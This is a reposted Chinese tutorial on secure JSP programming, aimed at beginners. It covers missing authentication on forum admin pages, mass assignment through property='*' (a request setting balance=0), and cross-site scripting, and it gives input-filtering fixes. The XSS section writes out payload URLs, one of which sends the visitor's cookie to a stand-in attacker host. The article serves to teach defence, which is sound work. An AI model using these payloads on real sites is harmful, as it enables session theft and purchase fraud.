JSP安全编程实例浅析(中级)1
<转载>作者：Stone_Star

Java Server Page（JSP）作为建立动态网页的技术正在不断升温。JSP和ASP、PHP、工作机制不太一样。一般说来，JSP页面在执行时是编译式，而不是解释式的。首次调用JSP文件其实是执行一个编译为Servlet的过程。当浏览器向服务器请求这一个JSP文件的时候，服务器将检查自上次编译后JSP文件是否有改变，如果没有改变，就直接执行Servlet，而不用再重新编译，这样，效率便得到了明显提高。

今天我将和大家一起从脚本编程的角度看JSP的安全，那些诸如源码暴露类的安全隐患就不在这篇文章讨论范围之内了。写这篇文章的主要目的是给初学JSP编程的朋友们提个醒，从一开始就要培养安全编程的意识，不要犯不该犯的错误，避免可以避免的损失。另外，我也是初学者，如有错误或其它意见请赐教。

一、认证不严——低级失误

在溢洋论坛v1.12 修正版中，user_manager.jsp是用户管理的页面，作者知道它的敏感性，加上了一把锁：


if ((session.getValue("UserName")==null)││(session.getValue("UserClass")==null)││
(! session.getValue("UserClass").equals("系统管理员"))) 
{ 
response.sendRedirect("err.jsp?id=14"); 
return; 
}


如果要查看、修改某用户的信息，就要用modifyuser_manager.jsp这个文件。管理员提交 http://www.somesite.com/yyforum/modifyuser_manager.jsp?modifyid=51

就是查看、修改ID为51的用户的资料（管理员默认的用户ID为51）。但是，如此重要的文件竟缺乏认证，普通用户（包括游客）也直接提交上述请求也可以对其一览无余（密码也是明文存储、显示的）。modifyuser_manage.jsp同样是门户大开，直到恶意用户把数据更新的操作执行完毕，重定向到user_manager.jsp的时候，他才会看见那个姗姗来迟的显示错误的页面。显然，只锁一扇门是远远不够的，编程的时候一定要不厌其烦地为每一个该加身份认证的地方加上身份认证。

二、守好JavaBean的入口

JSP组件技术的核心是被称为bean的java组件。在程序中可把逻辑控制、数据库操作放在javabeans组件中，然后在JSP文件中调用它，这样可增加程序的清晰度及程序的可重用性。和传统的ASP或PHP页面相比，JSP页面是非常简洁的，因为许多动态页面处理过程可以封装到JavaBean中。

要改变JavaBean属性，要用到“ ”标记。 下面的代码是假想的某电子购物系统的源码的一部分，这个文件是用来显示用户的购物框中的信息的，而checkout.jsp是用来结帐的。


<jsp:useBean id="myBasket" class="BasketBean"> 
<jsp:setProperty name="myBasket" property="*"/> 
<jsp:useBean> 
<html> 
<head><title>Your Basket</title></head> 
<body> 
<p> 
You have added the item 
<jsp::getProperty name="myBasket" property="newItem"/> 
to your basket.   
<br/> 
Your total is $ 
<jsp::getProperty name="myBasket" property="balance"/> 
Proceed to <a href="checkout.jsp">checkout</a>


注意到property="*"了吗？这表明用户在可见的JSP页面中输入的，或是直接通过Query String提交的全部变量的值，将存储到匹配的bean属性中。

一般，用户是这样提交请求的： http://www.somesite.com /addToBasket.jsp?newItem=ITEM0105342 但是不守规矩的用户呢？他们可能会提交： http://www.somesite.com /addToBasket.jsp?newItem=ITEM0105342&balance=0

这样，balance=0的信息就被在存储到了JavaBean中了。当他们这时点击“chekout”结账的时候，费用就全免了。

这与PHP中全局变量导致的安全问题如出一辙。由此可见：“property="*"”一定要慎用！

三、长盛不衰的跨站脚本

跨站脚本（Cross Site Scripting）攻击是指在远程WEB页面的HTML代码中手插入恶意的JavaScript, VBScript, ActiveX, HTML, 或Flash等脚本，窃取浏览此页面的用户的隐私，改变用户的设置，破坏用户的数据。跨站脚本攻击在多数情况下不会对服务器和WEB程序的运行造成影响，但对客户端的安全构成严重的威胁。

以仿动网的阿菜论坛（beta-1）举个最简单的例子。当我们提交 http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser<;script>alert(document.cookie) 便能弹出包含自己cookie信息的对话框。而提交 http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser<;script>document.location='http://www.163.com' 就能重定向到网易。

由于在返回“name”变量的值给客户端时，脚本没有进行任何编码或过滤恶意代码，当用户访问嵌入恶意“name”变量数据链接时，会导致脚本代码在用户浏览器上执行，可能导致用户隐私泄露等后果。比如下面的链接：
http://www.somesite.com/acjspbbs/dispuser.jsp? name=someuser<;script>document.location=' http://www.hackersite.com/xxx.xxx?'+document.cookie

xxx.xxx用于收集后边跟的参数，而这里参数指定的是document.cookie，也就是访问此链接的用户的cookie。在ASP世界中，很多人已经把偷cookie的技术练得炉火纯青了。在JSP里，读取cookie也不是难事。当然，跨站脚本从来就不会局限于偷cookie这一项功能，相信大家都有一定了解，这里就不展开了。

对所有动态页面的输入和输出都应进行编码，可以在很大程度上避免跨站脚本的攻击。遗憾的是，对所有不可信数据编码是资源密集型的工作，会对 Web 服务器产生性能方面的影响。常用的手段还是进行输入数据的过滤，比如下面的代码就把危险的字符进行替换：


<% String message = request.getParameter("message"); 
message = message.replace ('<','_'); 
message = message.replace ('>','_'); 
message = message.replace ('"','_'); 
message = message.replace ('\'','_'); 
message = message.replace ('%','_'); 
message = message.replace (';','_'); 
message = message.replace ('(','_'); 
message = message.replace (')','_'); 
message = message.replace ('&','_'); 
message = message.replace ('+','_'); %>


更积极的方式是利用正则表达式只允许输入指定的字符：


public boolean isValidInput(String str) 
{ 
if(str.matches("[a-z0-9]+")) return true; 
else return false; 
}